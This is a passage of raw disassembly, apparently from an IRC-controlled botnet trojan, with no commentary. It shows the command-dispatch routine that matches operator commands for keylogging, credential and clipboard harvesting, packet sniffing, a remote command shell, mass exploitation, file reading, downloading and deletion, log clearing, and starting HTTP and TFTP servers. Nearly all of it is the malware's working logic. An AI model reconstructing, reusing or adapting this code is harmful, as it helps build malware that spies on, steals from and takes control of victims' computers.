		push	offset aEnz_id	; "enz.id"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124E2
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E24C
		call	sub_409DF3
		test	eax, eax
		mov	eax, offset dword_435E40
		jnz	short loc_40E21E
		mov	eax, offset dword_435E08

loc_40E21E:				; CODE XREF: sub_40CE55+13C2j
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 1Ch
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40E24C:				; CODE XREF: sub_40CE55+13B4j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123F1
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D1
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122E1
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C8
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412291
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412266
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222C
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412123
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412075
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412058
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203F
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FF8
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E497
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_40E497:				; CODE XREF: sub_40CE55+1628j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E524
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E4C7
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40E4C7:				; CODE XREF: sub_40CE55+1656j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40E4CC:				; CODE XREF: sub_40CE55+16BDj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4D8
		mov	eax, offset aEmpty ; "<Empty>"

loc_40E4D8:				; CODE XREF: sub_40CE55+167Cj
		push	eax
		push	esi
		lea	eax, [ebp+var_2C8]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4CC
		push	offset dword_435C68

loc_40E519:				; CODE XREF: sub_40CE55+5688j
		call	sub_40B16D
		pop	ecx
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_40E524:				; CODE XREF: sub_40CE55+1651j
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FB7
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F8C
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F68
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F2B
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D91
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C53
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		push	edi
		push	offset aVall	; "vall"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411958
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193F
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41191F
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411906
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118CF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41180C
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411761
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411716
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411701
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116D7
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B2
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411650
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aEnz_v	; "enz.v"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB3B
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB06
		push	18h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EA33
		push	offset unk_4359C0
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EA33:				; CODE XREF: sub_40CE55+1BD2j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jnz	short loc_40EA75
		mov	esi, offset dword_42C24C
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA75
		mov	esi, [ebp+var_8C]

loc_40EA75:				; CODE XREF: sub_40CE55+1C02j
					; sub_40CE55+1C18j
		push	esi
		lea	eax, [ebp+var_4D8]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_43597C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	18h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_458], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4024DC
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_458]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40EAF5

loc_40EADF:				; CODE XREF: sub_40CE55+1C9Ej
		cmp	[ebp+var_44C], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40EADF
; ---------------------------------------------------------------------------

loc_40EAF5:				; CODE XREF: sub_40CE55+1C88j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43592C
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EB06:				; CODE XREF: sub_40CE55+1BC2j
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	18h
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB34
		push	eax
		push	offset unk_4358DC
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EB34:				; CODE XREF: sub_40CE55+1CD2j
		push	offset unk_4358A0
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EB3B:				; CODE XREF: sub_40CE55+1BADj
		push	[ebp+arg_8]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECED
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aFile	; "file"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	1Ah
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EBA2
		push	eax
		push	offset unk_435844
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EBA2:				; CODE XREF: sub_40CE55+1D40j
		push	offset unk_435804

loc_40EBA7:				; CODE XREF: sub_40CE55+1BD9j
					; sub_40CE55+1CE4j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_40EBBA:				; CODE XREF: sub_40CE55+1D0Cj
					; sub_40CE55+1D1Dj
		push	1Ah
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EBCD
		push	offset unk_4357D0
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EBCD:				; CODE XREF: sub_40CE55+1D6Fj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_454], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBFC
		mov	[ebp+var_450], 1
		jmp	short loc_40EC05
; ---------------------------------------------------------------------------

loc_40EBFC:				; CODE XREF: sub_40CE55+1D99j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax

loc_40EC05:				; CODE XREF: sub_40CE55+1DA5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40EC2C
		mov	esi, offset dword_42C248
		push	offset byte_438FBC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC2C
		mov	esi, [ebp+var_8C]

loc_40EC2C:				; CODE XREF: sub_40CE55+1DB9j
					; sub_40CE55+1DCFj
		push	esi
		lea	eax, [ebp+var_4D4]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_43579C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ah
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_40ECA8

loc_40EC96:				; CODE XREF: sub_40CE55+1E51j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_40EC96
; ---------------------------------------------------------------------------

loc_40ECA8:				; CODE XREF: sub_40CE55+1E3Fj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43574C

loc_40ECB4:				; CODE XREF: sub_40CE55+1CACj
					; sub_40CE55+1CDAj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40ECC3:				; CODE XREF: sub_40CE55+1C90j
					; sub_40CE55+1CC0j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D7F9
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40ECED:				; CODE XREF: sub_40CE55+1CF7j
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFBE
		cmp	dword_43A468, ebx
		jz	short loc_40ED1E
		cmp	dword_43A490, ebx
		jz	short loc_40ED1E
		push	offset dword_4356F8
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40ED1E:				; CODE XREF: sub_40CE55+1EB5j
					; sub_40CE55+1EBDj
		cmp	[ebp+var_C], ebx
		jz	loc_40EF86
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40ED46
		push	eax
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_40ED46:				; CODE XREF: sub_40CE55+1EE1j
		push	edi
		push	offset aStart	; "start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDAC
		cmp	[ebp+arg_18], ebx
		jz	short loc_40ED80
		push	[ebp+arg_0]
		push	3

loc_40ED61:				; CODE XREF: sub_40CE55+1F6Dj
					; sub_40CE55+1F85j ...
		call	sub_412DE7
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40ED80:				; CODE XREF: sub_40CE55+1F05j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41308E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDA2
		push	offset dword_4356C0
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EDA2:				; CODE XREF: sub_40CE55+1F41j
		push	offset dword_43568C
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EDAC:				; CODE XREF: sub_40CE55+1F00j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC4
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDC4:				; CODE XREF: sub_40CE55+1F66j
		push	edi
		push	offset aPause	; "pause"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDC
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDDC:				; CODE XREF: sub_40CE55+1F7Ej
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF7
		push	[ebp+arg_0]
		push	6
		jmp	loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDF7:				; CODE XREF: sub_40CE55+1F96j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE12
		push	[ebp+arg_0]
		push	1
		jmp	loc_40ED61
; ---------------------------------------------------------------------------

loc_40EE12:				; CODE XREF: sub_40CE55+1FB1j
		push	edi
		push	offset aShare	; "share"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE8F
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EE62
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EE38
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40EE43
; ---------------------------------------------------------------------------

loc_40EE38:				; CODE XREF: sub_40CE55+1FD9j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx

loc_40EE43:				; CODE XREF: sub_40CE55+1FE1j
		call	sub_4131CB
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40EE62:				; CODE XREF: sub_40CE55+1FD1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4133C0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE85
		push	offset dword_435638
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EE85:				; CODE XREF: sub_40CE55+2024j
		push	offset dword_435604
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EE8F:				; CODE XREF: sub_40CE55+1FCCj
		push	edi
		push	offset aUser	; "user"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF2B
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40EF04
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EEC5
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------

loc_40EEC5:				; CODE XREF: sub_40CE55+205Cj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40EEE1
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------

loc_40EEE1:				; CODE XREF: sub_40CE55+2085j
		push	ebx
		push	eax
		push	2

loc_40EEE5:				; CODE XREF: sub_40CE55+206Ej
					; sub_40CE55+208Aj
		call	sub_4134E1
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40EF04:				; CODE XREF: sub_40CE55+2054j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4139F5
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF24
		push	offset dword_4355C8
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF24:				; CODE XREF: sub_40CE55+20C6j
		push	offset dword_435598
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF2B:				; CODE XREF: sub_40CE55+2049j
		push	edi
		push	offset aSend	; "send"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF73
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EF6C
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413CA9
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------

loc_40EF6C:				; CODE XREF: sub_40CE55+20EAj
		push	offset dword_435564
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF73:				; CODE XREF: sub_40CE55+20E5j
		push	offset dword_435534

loc_40EF78:				; CODE XREF: sub_40CE55+1EC4j
					; sub_40CE55+1F48j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40EF86:				; CODE XREF: sub_40CE55+1ECCj
					; sub_40CE55+1F26j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40EFA7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40EFA7:				; CODE XREF: sub_40CE55+2134j
					; sub_40CE55+44CDj ...
		mov	esi, [ebp+arg_24]

